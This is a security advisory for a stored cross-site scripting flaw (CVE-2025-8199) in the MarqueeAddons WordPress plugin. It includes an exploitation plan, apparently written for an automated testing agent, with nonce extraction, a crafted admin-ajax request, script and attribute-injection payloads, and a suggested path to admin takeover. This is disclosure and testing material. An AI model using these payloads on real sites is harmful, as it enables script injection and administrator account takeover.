MarqueeAddons <= 2.4.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Testimonial Marquee Widget
Description
The MarqueeAddons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Testimonial Marquee widget in all versions up to, and including, 2.4.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.4.3Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-8199 ## 1. Vulnerability Summary The **MarqueeAddons for Elementor** plugin (versions <= 2.4.3) contains a stored Cross-Site Scripting (XSS) vulnerability within its **Testimonial Marquee** widget. The vulnerability arises because the plugin fails to sanitize …
Show full research plan
Exploitation Research Plan: CVE-2025-8199
1. Vulnerability Summary
The MarqueeAddons for Elementor plugin (versions <= 2.4.3) contains a stored Cross-Site Scripting (XSS) vulnerability within its Testimonial Marquee widget. The vulnerability arises because the plugin fails to sanitize or escape user-supplied attributes (settings) before rendering them on the page. An authenticated attacker with Contributor-level permissions or higher can inject malicious scripts into a post or page using this widget. When a victim (including an administrator) views the affected page, the script executes in their browser context.
2. Attack Vector Analysis
- Endpoint: Elementor Page Editor / WordPress REST API or AJAX (
admin-ajax.php). - Action:
elementor_ajax(used by Elementor to save widget settings). - Vulnerable Widget: Testimonial Marquee (slug inferred:
marquee-addons-testimonial-marquee). - Vulnerable Parameters: Attributes/Settings within the widget's repeater fields (e.g.,
testimonial_name,testimonial_content, ortestimonial_designation). - Authentication: Authenticated, Contributor+.
- Preconditions: The plugin must be active, and the attacker must have the ability to edit a post/page using the Elementor editor.
3. Code Flow (Inferred)
- Entry Point: An authenticated user opens a post in the Elementor editor.
- Data Submission: The user adds a "Testimonial Marquee" widget and enters data into the settings fields.
- Storage: Elementor sends an AJAX request (
action=elementor_ajax) to save the page content. The widget settings are stored as a JSON-encoded string in the_elementor_datapost meta. - Widget Rendering: When the post is viewed, the plugin's widget class (likely extending
\Elementor\Widget_Base) calls itsrender()method. - Sink: The
render()method retrieves the settings using$this->get_settings_for_display(). It then echoes the values (e.g.,testimonial_name) directly into the HTML output without using WordPress escaping functions likeesc_html()orwp_kses().
4. Nonce Acquisition Strategy
Elementor requires specific nonces to save data. Since the attacker must be a Contributor, they can access the Elementor editor for a post they own.
- Create a Post: Use WP-CLI to create a post for the Contributor:
wp post create --post_type=post --post_status=draft --post_title="XSS Test" --post_author=CONTRIBUTOR_ID - Navigate to Editor: Use
browser_navigateto the Elementor editor URL for that post:http://localhost:8080/wp-admin/post.php?post=POST_ID&action=elementor - Extract Nonces: Use
browser_evalto extract the necessary nonces from theelementorConfigobject:- Editor Nonce:
window.elementorConfig?.nonces?.editor_post - Generic Nonce:
window.elementorConfig?.nonces?.wp_rest(if using REST API)
- Editor Nonce:
- Alternative: The
_wpnoncefound in the post edit screen is often sufficient foradmin-ajax.phprequests.
5. Exploitation Strategy
The goal is to update the _elementor_data post meta with a malicious JSON structure.
Step 1: Identify Widget Structure
The exact setting names need to be confirmed. Common setting names for testimonial widgets are name, content, or designation.
- Draft Payload (Inferred):
[ { "id": "unique_id", "elType": "widget", "widgetType": "marquee-addons-testimonial-marquee", "settings": { "testimonials": [ { "testimonial_name": "<script>alert(document.domain)</script>", "testimonial_content": "This is a test" } ] } } ]
Step 2: Submit the Malicious Data
Use the http_request tool to simulate the Elementor save action.
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=elementor_ajax &_nonce=[EDITOR_NONCE] &actions={"save_builder":{"action":"save_builder","data":{"status":"publish","elements":[MALICIOUS_JSON_ARRAY]}}} &post_id=[POST_ID]
Step 3: Trigger the XSS
Navigate to the public URL of the post: http://localhost:8080/?p=[POST_ID].
6. Test Data Setup
- User: Create a user with the
contributorrole. - Post: Create a post as the contributor.
- Elementor: Ensure Elementor is enabled for the 'post' post type.
7. Expected Results
- The
admin-ajax.phprequest should return a200 OKwith a JSON response indicating success ("success": true). - When viewing the post, an alert box showing the document domain should appear.
- In the page source, the script tag should be rendered unescaped within the marquee widget's HTML container.
8. Verification Steps
- Check Database: Use WP-CLI to inspect the stored meta:
wp post meta get [POST_ID] _elementor_data - Verify Script Presence: Check if the payload is present in the output:
curl -s "http://localhost:8080/?p=[POST_ID]" | grep "<script>alert"
9. Alternative Approaches
- Attribute Injection: If
<script>is filtered, try attribute-based XSS:"testimonial_name": "John Doe\" onmouseover=\"alert(1)\" data-dummy=\"" - Style Injection: If the widget allows custom colors or CSS, try breaking out of a style attribute:
"color_setting": "red; background-image: url('javascript:alert(1)')" - Editor XSS: Test if the XSS fires within the Elementor editor itself, which could lead to Administrator account takeover if an admin edits the malicious post. This can be tested by injecting the payload and having the admin user open the editor.
Summary
The MarqueeAddons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Testimonial Marquee widget in versions up to 2.4.3. This occurs because the plugin fails to properly sanitize and escape user-supplied attributes, allowing authenticated attackers with Contributor-level permissions or higher to inject malicious scripts into pages.
Exploit Outline
An authenticated attacker with Contributor-level access or higher can exploit this by editing a post using the Elementor editor and adding the 'Testimonial Marquee' widget. By injecting a JavaScript payload (e.g., <script>alert(document.domain)</script>) into widget settings such as 'testimonial_name', 'testimonial_content', or 'testimonial_designation', the payload is saved via the 'elementor_ajax' endpoint. The malicious script is then executed in the context of any user's browser, including administrators, when they view the page containing the widget.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.